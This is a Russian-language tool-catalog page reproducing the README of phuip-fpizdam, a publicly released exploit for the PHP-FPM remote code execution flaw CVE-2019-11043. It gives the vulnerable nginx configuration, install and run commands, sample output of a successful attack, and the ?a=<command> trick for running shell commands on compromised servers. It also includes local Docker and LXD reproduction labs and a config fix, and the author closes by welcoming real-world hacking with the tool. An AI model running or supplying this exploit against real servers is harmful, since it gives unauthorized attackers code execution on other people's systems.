Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
phuip-fpizdam — Exploit for CVE-2019-11043 | Kitploit
Инструменты/GitHubGitHub/neex/phuip-fpizdam
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubneex/phuip-fpizdam

phuip-fpizdam

Exploit for CVE-2019-11043

Репозиторий
1.8k2496 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PHuiP-FPizdaM

Что это

Это эксплойт для уязвимости в php-fpm (CVE-2019-11043). В определенных конфигурациях nginx + php-fpm уязвимость можно вызвать извне. Это означает, что веб-пользователь может получить выполнение кода, если у вас уязвимая конфигурация (см. ниже).

Разбор

Хотя нам было лень писать разбор, Orange Tsai опубликовал отличный анализ в своем блоге. Спасибо ему.

Также мои слайды с ZeroNights 2019 доступны.

Что уязвимо

Если веб-сервер использует nginx + php-fpm и в nginx есть конфигурация вида

root@kitploit:~
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

в которой также отсутствуют проверки существования скриптов (такие как try_files), то вы, вероятно, сможете взломать его с помощью этого эксплойта.

Полный список предварительных условий

  1. Nginx + php-fpm, location ~ [^/]\.php(/|$) должен перенаправляться на php-fpm (возможно, регулярное выражение может быть строже, см. #1).
  2. Должно быть присвоение переменной PATH_INFO через директиву fastcgi_param PATH_INFO $fastcgi_path_info;. Также SCRIPT_FILENAME должен быть установлен с помощью fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; (вместо $document_root может быть константный путь). Сначала мы думали, что это всегда присутствует в файле fastcgi_params, но это не так.
  3. Должен быть способ установить PATH_INFO в пустое значение. Этот эксплойт предполагает, что директива fastcgi_split_path_info присутствует и содержит регулярное выражение, начинающееся с ^ и заканчивающееся $, поэтому он пытается сломать регулярное выражение с помощью символа новой строки.

Разве об этой уязвимости не было известно годами?

Давным-давно php-fpm не ограничивал расширения скриптов, то есть что-то вроде /avatar.png/some-fake-shit.php могло выполнить avatar.png как PHP-скрипт. Эта проблема была исправлена около 2010 года.

Текущая уязвимость не требует загрузки файлов, работает в самых последних версиях (до выхода исправления) и, что самое важное, эксплойт гораздо круче.

Как запустить

Установите с помощью

root@kitploit:~
go get github.com/neex/phuip-fpizdam

Если вы получаете странные ошибки компиляции, убедитесь, что используете go >= 1.13. Запустите программу с помощью phuip-fpizdam [url] (предполагая, что у вас $GOPATH/bin находится в $PATH, в противном случае укажите полный путь к бинарнику). Успешный вывод выглядит так:

root@kitploit:~
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!

После этого вы можете начать добавлять ?a=<ваша команда> ко всем PHP-скриптам (возможно, потребуется несколько попыток).

Кроме того, вы можете использовать docker образ для запуска эксплойта:

root@kitploit:~
docker run --rm ypereirareis/cve-2019-11043 [url]

Среды для экспериментов

Использование Docker

Если вы хотите воспроизвести проблему или поиграть с эксплойтом локально через Docker, сделайте следующее:

  1. Клонируйте этот репозиторий и перейдите в каталог reproducer.
  2. Создайте образ Docker с помощью docker build -t reproduce-cve-2019-11043 .. Это займет много времени, так как внутри клонируется репозиторий PHP и собирается из исходников. Однако так будет проще, если вы захотите отладить эксплойт. Собирается ревизия, предшествующая исправлению.
  3. Запустите Docker с помощью docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043.
  4. Теперь у вас есть http://127.0.0.1:8080/script.php — пустой файл.
  5. Запустите эксплойт с помощью phuip-fpizdam http://127.0.0.1:8080/script.php
  6. Если все в порядке, вы сможете выполнять команды, добавляя ?a= к скрипту: http://127.0.0.1:8080/script.php?a=id. Попробуйте несколько раз, так как только некоторые рабочие процессы php-fpm заражены.

Использование системных контейнеров LXD

Если вы хотите воспроизвести проблему или поиграть с эксплойтом локально через LXD, сделайте следующее:

  1. Создайте два системных контейнера: vulnerable и attacker. Вы можете использовать образ контейнера ubuntu:18.04 для обоих.
  2. В контейнере vulnerable установите nginx и php-fpm. Настройте блок сервера как в этой конфигурации. Создайте пустой файл /var/www/html/index.php.
  3. В контейнере attacker установите язык Go (sudo snap install go --classic), клонируйте этот репозиторий и выполните go build в каталоге репозитория.
  4. Запустите атаку следующим образом: ./phuip-fpizdam http://vulnerable.lxd/index.php. Попробуйте несколько раз, чтобы заразить все рабочие процессы php-fpm.

Более подробные инструкции см. в статье Testing CVE-2019-11043 (php-fpm security vulnerability) with LXD system containers.

О PHP5

Нехватка буфера в php-fpm присутствует в PHP версии 5. Однако этот эксплойт использует оптимизацию для хранения переменных FastCGI, _fcgi_data_seg. Эта оптимизация присутствует только в PHP 7, поэтому данный эксплойт работает только для PHP 7. Возможно, существует другая техника эксплуатации, которая работает в PHP 5.

Благодарности

Оригинальная аномалия обнаружена d90pwn во время Real World CTF. Основная причина найдена мной (Emil Lerner), а также способ установки параметров php.ini. Финальный набор параметров php.ini найден beched.

Лицензия

Этот эксплойт распространяется на условиях лицензии MIT.

Воздержитесь от нанесения ущерба с помощью этого эксплойта. Но если вы действительно что-то взломаете с его помощью, я буду рад.

Скачать инструмент
  • Данный конкретный эксплойт предполагает, что PATH_INFO задается после REQUEST_URI в конфигурации.
  • Отсутствие проверок существования файлов, таких как try_files $uri =404 или if (-f $uri). Если Nginx отбрасывает запросы к несуществующим скриптам до отправки в FastCGI, наши запросы никогда не достигают php-fpm. Добавление такой проверки также является самым простым способом исправления.
  • Этот эксплойт работает только для PHP 7+, но сама уязвимость присутствует в более ранних версиях (см. ниже).